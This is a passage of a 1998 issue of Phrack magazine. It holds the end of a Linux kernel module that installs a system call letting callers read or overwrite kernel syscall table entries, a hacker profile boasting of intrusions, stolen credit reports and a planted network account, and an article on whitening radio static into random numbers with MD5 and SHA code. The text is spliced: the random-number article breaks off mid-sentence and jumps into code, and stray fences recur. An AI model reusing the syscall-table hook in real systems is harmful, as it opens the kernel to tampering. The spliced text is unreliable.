    * gcc -c -O3 -fomit-frame-pointer mbtrom.c
    *
*/
#define MODULE
#define __KERNEL__

#include <linux/config.h>

```

```

#ifdef MODULE
#include <linux/module.h>
#include <linux/version.h>
#else
#define MOD_INC_USE_COUNT
#define MOD_DEC_USE_COUNT
#endif

#include <syscall.h>
#include <linux/string.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/dirent.h>
#include <linux/sys.h>
#include <linux/linkage.h>
#include <asm/segment.h>

#include "config.h"
#include "sys_null.h"

extern void *sys_call_table[];

int __NR_mbtrom;

int* funcion( int numero, int modo, unsigned int *address )
{
    switch(modo){
        case 0:
            return sys_call_table[numero];
            break;
        case 2:
            return (void *)&sys_call_table;
        case 1:
        default:
            sys_call_table[numero]=address;
            break;
    }
    return (void *)0;
}

int init_module(void)
{
    __NR_mbtrom = NUMERO_VACIO ;

    /* Chequea direccion vacia desde NUMERO_VACIO hasta 0 */
    while ( __NR_mbtrom!= 0 &&
            sys_call_table[__NR_mbtrom] != 0 &&
            sys_call_table[__NR_mbtrom] != (void *)SYS_NULL )
        __NR_mbtrom--;
    if(!__NR_mbtrom ) { /* Si es 0 me voy */
        printk("mbtrom: Oh no\n");
        return 1;
    }

    sys_call_table[__NR_mbtrom] = (void *) funcion;

    if( __NR_mbtrom != NUMERO_VACIO )
        printk("mbtrom: Mmm...\n");
    printk("mbtrom: -> %i <-\n",__NR_mbtrom);
    return 0;
}

```

```

}

void cleanup_module(void)
{
    sys_call_table[__NR_mbtrom] = 0;
    printk("mbtrom: Bye.\n");
}
<-->
<++> linenoise/btrom/sys_null.awk
/sys_ni_syscall/ { print "#define SYS_NULL 0x"$1 }
<-->

0x6>-----

----[  PDM

Phrack Doughnut Movie (PDM) last issue was `Miller's Crossing`.

PDM53 recipients:

    None of you suckers.  Go rent it.  It's well worth your time.

PDM54 Challenge:

    "I have John Murdock...  In mind..."

0x7>-----

----[  Super Elite People That REad Phrack (SEPTREP)

New addiitons:      Ron Rivest, W. Richard Stevens
Why they are SEP:   One is the `R` in RSA.  The other writes TCP/IP bibles.

----[  Current List

W. Richard Stevens
Ron Rivest

-----

----[  EOF
----[  Phrack Magazine  Volume 8, Issue 54 Dec 25th, 1998, article 04 of 12

-----[  P H R A C K      5 4      P R O P H I L E

-----[  Personal

        Handle: ParMaster
        Call him: Ishmael?  SHALL WE PLAY A GAME?
        Reach him: Through the grapevine
        Past handles: Trouble Verify, Immediate Lee, Bad Karma, Thoth,
                     Optomystic, (The) Omicron
        Handle origin: (Quote from Underground page #104) "Par had got his full
                     name -The Parmaster- in his earliest hacking days.
                     Back then, he belonged to a group of teenagers involved
                     in breaking the copy protections on software programs
                     for Apple IIe's, particularly games.  Par had a
                     special gift for working out the copy protection
                     parameters, which was a first step in bypassing the
                     manufacturers' protection schemes.  The ringleader

```

[sc0tch] of the group [Jedi Hackers] began calling him 'the master of parameters' -The ParMaster- Par, for short. As he moved into serious hacking and developed his expertise in X.25 networks, he kept the name because it fitted nicely in his new environment. 'Par' was a common command on an X.25 pad, the modem gateway to an X.25 network."

Date of birth: NOT January 15th!

Age at current date: 27

Height: 5'11"

Weight: 202 lbs

Eye color: Brown

Hair color: Brown (Blonde highlights)

Computers: Dell 320n 386 laptop, Walkabout vt100 terminal with built-in 2400 baud modem.

Sysop/Co-Sysop of: DarkFORCE

Admin of: [Withheld]

URLs: <http://altavista.digital.com> - search - "parmaster" -
- submit - read.

-----[Favorite things

Women: Blondes with blue / green eyes. Chicks in skimpy clothes with accents.

Cars: Ferrari and Porsche clubs :-), anything with a jet engine on it.

Foods: Chinese, got to have my chinese food. Calamari, Duck, Quail, most seafood.

Alcohol: Now, we're talkin'. Jim Beam, Jack Daniels, Crown Royal, Jose Cuervo / Dos Realis, and last but certainly not least Finlandia!

Music: The The, The Dickies, Underworld, Kraftwerk, Chemical Brothers, Crystal Method, El Dubarge, CCCP.

Movies: They Live, A fish called wanda, 13 Monkees, Little Trouble in Big China, 5th Elemental, True Lies, Killer Klowns from Outer Space, Eraser, Under Siege, Tetsuo Ironman, WarGames, and Sneakers.

Authors: Immanuel Velikovsky, Piers Anthony, Terry Brooks, James Gardner, J.R.R. Tolkien and please forgive me for anyone i'm missing.

Turn Ons: Traveling in my mind with someone i love.

Turn Offs: Pain, agony, hurting and torture.

-----[Passions

I enjoy scrying the future and doing the great work. This is a very difficult thing to describe in itself. Some of you who know me well enough can see it every once in a while. I'm no artist, but i attempt to do it and sometimes it expresses itself in artistic ways.

I love hanging out with my friends, sometimes i need to be alone, but time i spend with my friends is always special.

-----[Memorable experiences

When the US Secret Service raided me in 1991 and took all my stuff (the 3rd time) including the credit reports of the President (iffie) and Vice President (definitely) of the United States of America. I was in jail in New York waiting for transport, and was never really threatened or hurt, except once and it was a major incident for me but i don't think it was influenced by

anyone.

When i did an interview for Coast Weekly Magazine in Monterey County in 1993, after this issue came out things really fell apart for me, people started being really mean and really dangerous people started doing really harmful things around me. This article was my one 'play article'. I mentioned a lot of stuff that was currently going on, including the Clinton Administration's use and promotion of the new Clipper Chip device.. I wonder why the guys who did a play article for the San Jose Mercury News didn't receive the same treatment. My relatives always told me life isn't fair, until this time i had plenty of reasons to beleieve that but never did. Incidents following this made me really question how the United States was changing. It especially made me question who is running the world nowadays and who they made a decision to hire under them to work in various agencies. Everything just seemed to have more style before. However, there are also a lot of cool things with style brought about by this, which may be worth the hardships in their value.

Using sprite to send an out of bounds packet to port 139 of trv-psitech.com, the server was down for a little bit, a day or two. The error it responded with, "Parameter not found".

Creating IRAQ-DEFENSE password PARMASTERGOTTHEM! on tymnet while i was "in". I'm not sure what effect this had during the time i had set it up during Operation Desert Shield. I put it out into the computer underground globally promoting it as an iraqi system i had found. What effect this may have had during that time i still do not know. Logically all i can assume is that it managed to put a lot of hackers who tried it, in one place at the time when they connected to it. As well as promote and possibly move them toward being aware of any enemy computers they may have hacked. Indeed, on the boards i was confronted about it... Specifically by Crimson Death who stated in the posts that it was, in fact, not an iraqi system at all. Interestingly enough in following posts people responded *WITH* actual network addresses and hosts of iraqi systems. Too bad at the time all communications were cut. Most certainly, their access to the outside worlds computers was at least partially if not totally through Bahrain. Every once in a while i would periodically check on tymnet's bahrain gateway and monitor traffic there. For those of you who wonder why i did this, i don't know... I can honestly say I wasn't in conscious control of what i was doing. I have some theories about why, some include a higher power others include some pretty crazy stuff like mind control. I'm leaning somewhat towards the latter because i had some severe memory problems. I could not remember anything about this until I was on a phone interview with Joshua Quittner for the Masters of Deception book, why at that time I recalled it i do not know. I do know that prior to this time in searching through my memory fervently that I had not previously at any other time after 1990 thought about or recollected my actions then. The only thing i remembered was creating ParMasterX75 nui Password par=tymnet gawd! and that was because the account I had used to make IRAQ-DEFENSE had mysteriously changed its properties and now was connected to place calls on the global data network. Prior to that it had only been able to connect to the select hosts of the WEFA group, its rightful owner. I only became aware of this because of Corrupt [MOD] pointing out that I should list out what accounts were active. .. i then saw that he had created an account which could be used to place data calls. John apparently did not know that the properties of the account's access had changed and that it did not have access to do things like that before, if he did he was not offering that knowledge, or even better he may have changed it :-).

Disneyland.

-----[Boards to mention

The board that Mr. Zod set up on the 202 sprintnet system owned by AFOSI and used to train them on how to catch computer hackers *GUFFAW*, my I wonder if they ever found out? Weren't we why they called it that? ROFLMFAO

DarkFORCE, I wonder whatever happened to Derek.. One Man Army.. Hmm, like people are posting these PC Pursuit codes on our board, i wonder where they came from? Phear POSTMASTER's ACOS skills. ROFLMFAO

Pegasus, this BBS run on a VAX in switzerland ended up turning out to be part of a sting operation involving law enforcement in europe.... Why do all these k-k001 codes still work tho?

Unphamiliar Territories, invalid media's board. Managed to collect together quite a few people with talent as well as some really stupid asshole narks. Can anyone say PMF?

Bullet, wherever it is... There you are.

BlackNET, so much has been said about this one in circles its not funny. No one knows where it is or how to connect to it? I wonder why... I'm confused.

Fuck QSD Channel.

Sectec, this board was always an old stand-by for me when the internet was taking off.. Now boards with discussions on packet switched nets like it aren't around. Or, if they are they are hidden and not openly promoting themselves. Most likely, they are somewhere on the internet...It's probably just me... but i don't trust the internet... at all.

ALTGER, altos computer systems munich.... i know far too many people from this board in real life now. 12 years ago I never would have thought that this would occur or feasibly see how this would happen. It's still mind-boggling to me. Old skool Apple warez crew: Blue Adept [213], Ubiquitous Hacker, Hollywood, Vampire, Pirette. Others: Piper, Dr. Who, Shatter, Theorem, Nora, and Nasa Pilot.

ALTHH, altos computer systems hamburg (later Markt and Technic... tchh), same as altger but I spent MUCH MUCH more time here. I think this is where I got the magic. THE crew: Floyd, TTM, Necrovore-Skyhook-backlash-LineShadow-TouchTone [Xtension], jumpingjackflash, Lutz Pelikan, camelot, pad-gandalf-fusion-power-etc [8LGM], Force-Phoenix-Nom-etc [The Realm], anthrax, there are too many people to list here forgive me if I left you out. You know who you are.

The Phoenix Project, what a cool place, where else could I tease Sandy Sandquist about FTS.

Illuminati BBS, my account was short lived and i logged in maybe twice. But where else could i see the latest on AD&D games with, The Mentor, Erik Bloodaxe, etc.

The initial r00t homepage, boy was this a funny joke. Wait, i'm at a con and now its all real and there's like 40 people here. These people are smart and make lots of money. Hosaka and T3... You could not have known it would turn into this. r00t people who kick ass: Number one for all time - glyph a.k.a necrovore, alhambra, oghost, redragon [tacobell.com], and daemon9.

Ripco, well I wasn't on here a lot but it played such an important part in the computer underground over the years i have to at least mention it. It must have also been my first exposure to l0ck. Tons of other people here, this place kept lots of Text files circulating in the underground that might have otherwise been lost.

-----[Quotes

"I didn't mean for your daddy to spooge all over the minnie mouse pillow on your bed, it wasn't my fault, i told him he could cum in my ass" -- Vamprella

"No." -- Agent Steal

"Remember when i did that class change for you?" -- U4EA

"How did you know i was gonna say that about butter?" -- Nirva

"I got approval from Uli to start Chaos Computer Club West, want to be in it?" -- Doc Holiday

"Bilbo Baggins, how are youuuuuu" -- Torquemada

-----[The future of the computer underground

The future? Hmm. Am I the guy to ask? Maybe. Things have changed a lot, the only thing constant is change. It seems there is less chivalry nowadays. The government and corporations painted a picture of us. That picture is not a pretty one. They even have a general psychiatric profile we are all supposed to fall into. Movies, like "Hackers" portray us a certain way also. Kids just starting out, see this and immediately it becomes the way the underground is. The Masters of Deception also promoted this image of the Computer Underground. We end up fighting ourselves more than working together to accomplish goals. I remember a time when things weren't like that. There was very little confrontation between hackers, and information flowed freely. If you ask me, its all a big conspiracy :-). A big conspiracy to keep hackers seperated and fighting among themselves. People like to talk to me about the good old days. Thats all well and good, but those days are over. There can still be another golden age in the Computer Underground. The only thing stopping it, is you.

----[EOF

---[Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 05 of 12

-----[Linux and Random Source Bleaching

-----[Phunda Menta <phundie@usa.net>

----[Introduction

Random numbers are often used in cryptography, but good random bits can be hard to come by. Linux has two useful pseudo-devices called /dev/random and /dev/urandom. Catting /dev/random yields a small pool of random bits obtained from internal system state. If you cat this output to your terminal and bang on some keys, you'll notice that you get more random bits. Disk drive accesses, IRQ timings, and key presses; all of this stuff gets hashed into a small pool of entropy that can be accessed directly from /dev/random. /dev/urandom is a stream that hashes /dev/random, and gives you that hash value; then it hashes the last hash and the pool forever. Both give a decent source of random bits. By default, /dev/urandom uses SHA (I know the source comments claim MD5, but if you look at the code, it is SHA).

So /dev/urandom is a decent source of pseudo-random bits. /dev/random is better, but it is of limited size.

These are very useful, but what we really want is a hardware source of random bits.

----[The Hardware Solution

Most computers have sound cards these days, and a sound card is a great source of potential entropy.

Unplug the microphone from your soundcard and cat /dev/audio to a file. Sample maybe 2 or 300k of data. Now play it back, if it sounds like static, you can skip ahead to cleaning up the source. You can also try plugging a 1/8th jack (or whatever you use for input) that has dead-end leads into the mic port. Try both of these methods and find one that gives a clean static hiss.

Chances are that on playback all you have is silence, but we want static. Static is random, and randomness is our goal here, so grab an FM radio and tune it to the high end, around 106 or 107 MHz. Find a frequency that gives a good clean hiss, an analog tuner is best for this. If you have a digital tuner and can't get the precision needed to tune-in a good static source then get the best static you can, but you might have a harder time cleaning up this source. If your signal has a high-pitched tone present you can clean this out in a few different ways. The easiest is to use software to strip out that frequency. There is a family of programs for Linux that can help with this (Bio, Mammot, and Ceres). These programs allow very good visualization of the signal and they also allow you to pull the signal apart and isolate different frequencies. Chances are you will have a bunch of junk in the 60 Hz region, probably due to EMI (electro-magnetic interference) from power supplies, along with whatever is giving you that tone.

In either case you should shield your FM receiver and the audio cable to avoid EMI. You may be able you shield your soundcard, but I am skeptical of the worth of this. A lot of electronics supply houses sell shielding wrap and preshielded cables. You can also try aluminum foil. I haven't had much luck with aluminum foil, but some people swear by it.

Once you have your source set up, jack it into your sound card and sample it at 44 kHz. Run the results through the Diehard testing package (a battery of tests to evaluate the strength of random number generators). Your source won't pass the test.

Clean up your source bytes however you need to. Strip out any 60 Hz junk with Mammot by using the Transform|Filter options, you can then use the Transform|Phase Shift option to slide the wave form back into place so that there is no gap at 60 Hz. If your static source has a small amplitude, crank it up by increasing the hardware gain, or use Mammot to change the derivative or the effective gain, whichever you like. I have found no empirical evidence to suggest that one way works better than the others, but, theoretically, changing the slope may be a Bad Thing (tm). You may also want to use the Phase Shift and Threshold options to chop up your signal. You can resynthesize the parts and save them back out. Listening to these parts, and graphing them can help give you an idea of what other things your source signal is doing.

If push comes to shove, and you can't weed out all of the bias, or if you need a more hands-free way to clean up the source (and don't have the time or skill to write custom filters) you can just use a cryptographic hash.

After you clean up your source, take a look at it with ceres or bio, if the output looks like video static with no noticeable patterns or hot/cold areas then you have sufficiently cleaned up the signal, now you can move on to

bleaching the static for use as a random number stream.

As a side note, if you ever want to see what a good random distribution is supposed to look like, you can also use output from /dev/urandom. Use sox (stock with Redhat distros) to convert the output stream of /dev/urandom (use a type of 'ul') to AIFF for mammut, or ceres or whatever. The distribution given by /dev/urandom is statistically random so it will tell us what to look for, but /dev/urandom (SHA, basically) is still pseudo-random since complete knowledge of the previous inputs allows us to calculate all future outputs. This is not so with static.

----[Bleaching the data stream

The static coming out of your FM source is skewed white noise. We need to clean it up, so we bleach it.

RFC1750 gives a slew of methods to clean up your source. One of the simplest, effective methods of whitening a source is to XOR all the bits in a byte together, yielding one output bit. These bits are then reconstructed into a byte and output. This method has a few advantages. The first big advantage is that you know precisely how many bytes you need to sample in order obtain a certain number of output bytes. XORing is also fast, and easy to implement.

Another method of deskewing data is attributed to John von Neumann in RFC1750. This method is called transition mapping. Transition mapping is a relatively simple process. We take two bits from our input. If this bit sequence is 01 or 10 we output a 0 or a 1, respectively. The sequences 00 and 11 are discarded. This method completely deskews a stream of data at the expense of needing an unknown number of input bits. Transition mapping is also a very fast process, and on a lightly skewed input transition mapping can yield more output bits than XOR.

Both XOR and transition mapping are fast processes that are good enough to deskew a set of bits such that they will pass the Diehard suite of tests, if the input is suitably clean and random. If the input is somehow correlated, you will have a harder time getting it to pass Diehard. I have found that correlated sources can be cleaned up by XORing the output of an XOR distillation with the output of a transition mapped distillation.

Slower constructions can be created out of cryptographic hash functions, but may be trusted more by the paranoid. Hash functions are also recommended if an attacker has the means to somehow affect your random source. If you are worried about this attack, a good way to solve it is with appeal to /dev/random. Use a block cipher such as 3DES to encrypt your random source with a key and initialization vector obtained from /dev/random. If an attacker can bias your source in a predictable way, he still has no idea what bytes you may be using for your actual random numbers. Skew that the attack may introduce into your hardware can first be cleaned with a process like transition mapping and then pumped through a looped hash function or a block cipher.

The output of a (decent) hash function or block cipher will pass the Diehard tests.

In a heavily used machine, where the entropy pool used by /dev/random will be updated frequently, the output from the above processes can be XORed byte for byte with the stream from /dev/urandom. This is a simple method to mix the streams together for added security. Another method would be to hash $N/2$ bytes from /dev/urandom and $N/2$ bytes from your source together, where N is the number of bytes that your hash function will yield.

All of these methods are suitable to deskew a data set, but they should not be


```

** RSA Data Security, Inc. makes no representations concerning      **
** either the merchantability of this software or the suitability  **
** of this software for any particular purpose. It is provided "as  **
** is" without express or implied warranty of any kind.            **
**                                                                    **
** These notices must be retained in any copies of any part of this **
** documentation and/or software.                                    **
*****
*/

#include "md5.h"

/*
*****
** Message-digest routines:                                         **
** To form the message digest for a message M                      **
** (1) Initialize a context buffer mdContext using MD5Init        **
** (2) Call MD5Update on mdContext and M                          **
** (3) Call MD5Final on mdContext                                  **
** The message digest is now in mdContext->digest[0...15]         **
*****
*/

/* forward declaration */
static void Transform ();

static unsigned char PADDING[64] = {
    0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

/* F, G, H and I are basic MD5 functions */
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))

/* ROTATE_LEFT rotates x left n bits */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))

/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */
/* Rotation is separate from addition to prevent recomputation */
#define FF(a, b, c, d, x, s, ac) \
    {(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
    (a) = ROTATE_LEFT ((a), (s)); \
    (a) += (b); \
    }
#define GG(a, b, c, d, x, s, ac) \
    {(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
    (a) = ROTATE_LEFT ((a), (s)); \
    (a) += (b); \
    }
#define HH(a, b, c, d, x, s, ac) \
    {(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
    (a) = ROTATE_LEFT ((a), (s)); \
    (a) += (b); \
    }

```

```

#define II(a, b, c, d, x, s, ac) \
    {(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
    (a) = ROTATE_LEFT ((a), (s)); \
    (a) += (b); \
    }

/* The routine MD5Init initializes the message-digest context
   mdContext. All fields are set to zero.
   */
void MD5Init (mdContext)
MD5_CTX *mdContext;
{
    mdContext->i[0] = mdContext->i[1] = (UINT4)0;

    /* Load magic initialization constants.
       */
    mdContext->buf[0] = (UINT4)0x67452301;
    mdContext->buf[1] = (UINT4)0xefcdab89;
    mdContext->buf[2] = (UINT4)0x98badcfe;
    mdContext->buf[3] = (UINT4)0x10325476;
}

/* The routine MD5Update updates the message-digest context to
   account for the presence of each of the characters inBuf[0..inLen-1]
   in the message whose digest is being computed.
   */
void MD5Update (mdContext, inBuf, inLen)
MD5_CTX *mdContext;
unsigned char *inBuf;
unsigned int inLen;
{
    UINT4 in[16];
    int mdi;
    unsigned int i, ii;

    /* compute number of bytes mod 64 */
    mdi = (int)((mdContext->i[0] >> 3) & 0x3F);

    /* update number of bits */
    if ((mdContext->i[0] + ((UINT4)inLen << 3)) < mdContext->i[0])
        mdContext->i[1]++;
    mdContext->i[0] += ((UINT4)inLen << 3);
    mdContext->i[1] += ((UINT4)inLen >> 29);

    while (inLen--) {
        /* add new character to buffer, increment mdi */
        mdContext->in[mdi++] = *inBuf++;

        /* transform if necessary */
        if (mdi == 0x40) {
            for (i = 0, ii = 0; i < 16; i++, ii += 4)
                in[i] = (((UINT4)mdContext->in[ii+3]) << 24) |
                    (((UINT4)mdContext->in[ii+2]) << 16) |
                    (((UINT4)mdContext->in[ii+1]) << 8) |
                    ((UINT4)mdContext->in[ii]));
            Transform (mdContext->buf, in);
            mdi = 0;
        }
    }
}

/* The routine MD5Final terminates the message-digest computation and
   ends with the desired message digest in mdContext->digest[0...15].

```



```

*/
void MD5Final (mdContext)
MD5_CTX *mdContext;
{
    UINT4 in[16];
    int mdi;
    unsigned int i, ii;
    unsigned int padLen;

    /* save number of bits */
    in[14] = mdContext->i[0];
    in[15] = mdContext->i[1];

    /* compute number of bytes mod 64 */
    mdi = (int)((mdContext->i[0] >> 3) & 0x3F);

    /* pad out to 56 mod 64 */
    padLen = (mdi < 56) ? (56 - mdi) : (120 - mdi);
    MD5Update (mdContext, PADDING, padLen);

    /* append length in bits and transform */
    for (i = 0, ii = 0; i < 14; i++, ii += 4)
        in[i] = (((UINT4)mdContext->in[ii+3]) << 24) |
                (((UINT4)mdContext->in[ii+2]) << 16) |
                (((UINT4)mdContext->in[ii+1]) << 8) |
                ((UINT4)mdContext->in[ii]);
    Transform (mdContext->buf, in);

    /* store buffer in digest */
    for (i = 0, ii = 0; i < 4; i++, ii += 4) {
        mdContext->digest[ii] = (unsigned char)(mdContext->buf[i] & 0xFF);
        mdContext->digest[ii+1] =
            (unsigned char)((mdContext->buf[i] >> 8) & 0xFF);
        mdContext->digest[ii+2] =
            (unsigned char)((mdContext->buf[i] >> 16) & 0xFF);
        mdContext->digest[ii+3] =
            (unsigned char)((mdContext->buf[i] >> 24) & 0xFF);
    }
}

/* Basic MD5 step. Transforms buf based on in.
*/
static void Transform (buf, in)
UINT4 *buf;
UINT4 *in;
{
    UINT4 a = buf[0], b = buf[1], c = buf[2], d = buf[3];

    /* Round 1 */
#define S11 7
#define S12 12
#define S13 17
#define S14 22
    FF ( a, b, c, d, in[ 0], S11, 3614090360); /* 1 */
    FF ( d, a, b, c, in[ 1], S12, 3905402710); /* 2 */
    FF ( c, d, a, b, in[ 2], S13,  606105819); /* 3 */
    FF ( b, c, d, a, in[ 3], S14, 3250441966); /* 4 */
    FF ( a, b, c, d, in[ 4], S11, 4118548399); /* 5 */
    FF ( d, a, b, c, in[ 5], S12, 1200080426); /* 6 */
    FF ( c, d, a, b, in[ 6], S13, 2821735955); /* 7 */
    FF ( b, c, d, a, in[ 7], S14, 4249261313); /* 8 */
    FF ( a, b, c, d, in[ 8], S11, 1770035416); /* 9 */
    FF ( d, a, b, c, in[ 9], S12, 2336552879); /* 10 */

```

```

FF ( c, d, a, b, in[10], S13, 4294925233); /* 11 */
FF ( b, c, d, a, in[11], S14, 2304563134); /* 12 */
FF ( a, b, c, d, in[12], S11, 1804603682); /* 13 */
FF ( d, a, b, c, in[13], S12, 4254626195); /* 14 */
FF ( c, d, a, b, in[14], S13, 2792965006); /* 15 */
FF ( b, c, d, a, in[15], S14, 1236535329); /* 16 */

/* Round 2 */
#define S21 5
#define S22 9
#define S23 14
#define S24 20
GG ( a, b, c, d, in[ 1], S21, 4129170786); /* 17 */
GG ( d, a, b, c, in[ 6], S22, 3225465664); /* 18 */
GG ( c, d, a, b, in[11], S23,  643717713); /* 19 */
GG ( b, c, d, a, in[ 0], S24, 3921069994); /* 20 */
GG ( a, b, c, d, in[ 5], S21, 3593408605); /* 21 */
GG ( d, a, b, c, in[10], S22,  38016083); /* 22 */
GG ( c, d, a, b, in[15], S23, 3634488961); /* 23 */
GG ( b, c, d, a, in[ 4], S24, 3889429448); /* 24 */
GG ( a, b, c, d, in[ 9], S21,  568446438); /* 25 */
GG ( d, a, b, c, in[14], S22, 3275163606); /* 26 */
GG ( c, d, a, b, in[ 3], S23, 4107603335); /* 27 */
GG ( b, c, d, a, in[ 8], S24, 1163531501); /* 28 */
GG ( a, b, c, d, in[13], S21, 2850285829); /* 29 */
GG ( d, a, b, c, in[ 2], S22, 4243563512); /* 30 */
GG ( c, d, a, b, in[ 7], S23, 1735328473); /* 31 */
GG ( b, c, d, a, in[12], S24, 2368359562); /* 32 */

/* Round 3 */
#define S31 4
#define S32 11
#define S33 16
#define S34 23
HH ( a, b, c, d, in[ 5], S31, 4294588738); /* 33 */
HH ( d, a, b, c, in[ 8], S32, 2272392833); /* 34 */
HH ( c, d, a, b, in[11], S33, 1839030562); /* 35 */
HH ( b, c, d, a, in[14], S34, 4259657740); /* 36 */
HH ( a, b, c, d, in[ 1], S31, 2763975236); /* 37 */
HH ( d, a, b, c, in[ 4], S32, 1272893353); /* 38 */
HH ( c, d, a, b, in[ 7], S33, 4139469664); /* 39 */
HH ( b, c, d, a, in[10], S34, 3200236656); /* 40 */
HH ( a, b, c, d, in[13], S31,  681279174); /* 41 */
HH ( d, a, b, c, in[ 0], S32, 3936430074); /* 42 */
HH ( c, d, a, b, in[ 3], S33, 3572445317); /* 43 */
HH ( b, c, d, a, in[ 6], S34,  76029189); /* 44 */
HH ( a, b, c, d, in[ 9], S31, 3654602809); /* 45 */
HH ( d, a, b, c, in[12], S32, 3873151461); /* 46 */
HH ( c, d, a, b, in[15], S33,  530742520); /* 47 */
HH ( b, c, d, a, in[ 2], S34, 3299628645); /* 48 */

/* Round 4 */
#define S41 6
#define S42 10
#define S43 15
#define S44 21
II ( a, b, c, d, in[ 0], S41, 4096336452); /* 49 */
II ( d, a, b, c, in[ 7], S42, 1126891415); /* 50 */
II ( c, d, a, b, in[14], S43, 2878612391); /* 51 */
II ( b, c, d, a, in[ 5], S44, 4237533241); /* 52 */
II ( a, b, c, d, in[12], S41, 1700485571); /* 53 */
II ( d, a, b, c, in[ 3], S42, 2399980690); /* 54 */
II ( c, d, a, b, in[10], S43, 4293915773); /* 55 */

```

```

II ( b, c, d, a, in[ 1], S44, 2240044497); /* 56 */
II ( a, b, c, d, in[ 8], S41, 1873313359); /* 57 */
II ( d, a, b, c, in[15], S42, 4264355552); /* 58 */
II ( c, d, a, b, in[ 6], S43, 2734768916); /* 59 */
II ( b, c, d, a, in[13], S44, 1309151649); /* 60 */
II ( a, b, c, d, in[ 4], S41, 4149444226); /* 61 */
II ( d, a, b, c, in[11], S42, 3174756917); /* 62 */
II ( c, d, a, b, in[ 2], S43,  718787259); /* 63 */
II ( b, c, d, a, in[ 9], S44, 3951481745); /* 64 */

buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}

/*
*****
** End of md5.c                                     **
***** (cut) *****
*/
<-->
<+> bleach/md5/md5c.h
/*
*****
** md5.h -- header file for implementation of MD5      **
** RSA Data Security, Inc. MD5 Message-Digest Algorithm **
** Created: 2/17/90 RLR                                **
** Revised: 12/27/90 SRD,AJ,BSK,JT Reference C version  **
** Revised (for MD5): RLR 4/27/91                      **
** -- G modified to have y&~z instead of y&z          **
** -- FF, GG, HH modified to add in last register done **
** -- Access pattern: round 2 works mod 5, round 3 works mod 3 **
** -- distinct additive constant for each step        **
** -- round 4 added, working mod 7                    **
*****
*/

/*
*****
** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. **
**                               **
** License to copy and use this software is granted provided that **
** it is identified as the "RSA Data Security, Inc. MD5 Message- **
** Digest Algorithm" in all material mentioning or referencing this **
** software or this function. **
**                               **
** License is also granted to make and use derivative works **
** provided that such works are identified as "derived from the RSA **
** Data Security, Inc. MD5 Message-Digest Algorithm" in all **
** material mentioning or referencing the derived work. **
**                               **
** RSA Data Security, Inc. makes no representations concerning **
** either the merchantability of this software or the suitability **
** of this software for any particular purpose. It is provided "as **
** is" without express or implied warranty of any kind. **
**                               **
** These notices must be retained in any copies of any part of this **
** documentation and/or software. **
*****
*/

/* typedef a 32-bit type */

```

```

typedef unsigned long int UINT4;

/* Data structure for MD5 (Message-Digest) computation */
typedef struct {
    UINT4 i[2];                /* number of _bits_ handled mod 2^64 */
    UINT4 buf[4];              /* scratch buffer */
    unsigned char in[64];      /* input buffer */
    unsigned char digest[16];   /* actual digest after MD5Final call */
} MD5_CTX;

void MD5Init ();
void MD5Update ();
void MD5Final ();

/*
*****
** End of md5.h
***** (cut) *****
*/
<-->

<++> bleach/md5_distill.c
#include <stdio.h>
#include "md5/md5.h"

main ()
{
    MD5_CTX md5Info;

    unsigned char c[16];

    while (fread(c, 1,16,stdin) == 16)
    {
        MD5Init(&md5Info);
        MD5Update(&md5Info,c,16);
        MD5Final(&md5Info);
        fwrite(md5Info.digest,1,16,stdout);
    }
}
<-->

<++> bleach/sha/shs.c
/* ----- SHS.C ----- */

/*
* NIST proposed Secure Hash Standard.
*
* Written 2 September 1992, Peter C. Gutmann.
* This implementation placed in the public domain.
*
* Comments to pgut1@cs.aukuni.ac.nz
*/

#include <string.h>
#include "shs.h"

/* The SHS f()-functions */

#define f1(x,y,z)    ( ( x & y ) | ( ~x & z ) )    /* Rounds 0-19 */
#define f2(x,y,z)    ( x ^ y ^ z )                /* Rounds 20-39 */
#define f3(x,y,z)    ( ( x & y ) | ( x & z ) | ( y & z ) ) /* Rounds 40-59 */
#define f4(x,y,z)    ( x ^ y ^ z )                /* Rounds 60-79 */

```

```

/* The SHS Mysterious Constants */

#define K1    0x5A827999L      /* Rounds  0-19 */
#define K2    0x6ED9EBA1L      /* Rounds 20-39 */
#define K3    0x8F1BBCDCL      /* Rounds 40-59 */
#define K4    0xCA62C1D6L      /* Rounds 60-79 */

/* SHS initial values */

#define h0init 0x67452301L
#define h1init 0xEFCDAB89L
#define h2init 0x98BADCFEL
#define h3init 0x10325476L
#define h4init 0xC3D2E1F0L

/* 32-bit rotate - kludged with shifts */

#define S(n,X)  ((X << n) | (X >> (32 - n)))

/* The initial expanding function */

#define expand(count)  W [count] = W [count - 3] ^ W [count - 8] ^ W [count - 14] ^ W [count - 16]

/* The four SHS sub-rounds */

#define subRound1(count)  \
{ \
    temp = S (5, A) + f1 (B, C, D) + E + W [count] + K1; \
    E = D; \
    D = C; \
    C = S (30, B); \
    B = A; \
    A = temp; \
}

#define subRound2(count)  \
{ \
    temp = S (5, A) + f2 (B, C, D) + E + W [count] + K2; \
    E = D; \
    D = C; \
    C = S (30, B); \
    B = A; \
    A = temp; \
}

#define subRound3(count)  \
{ \
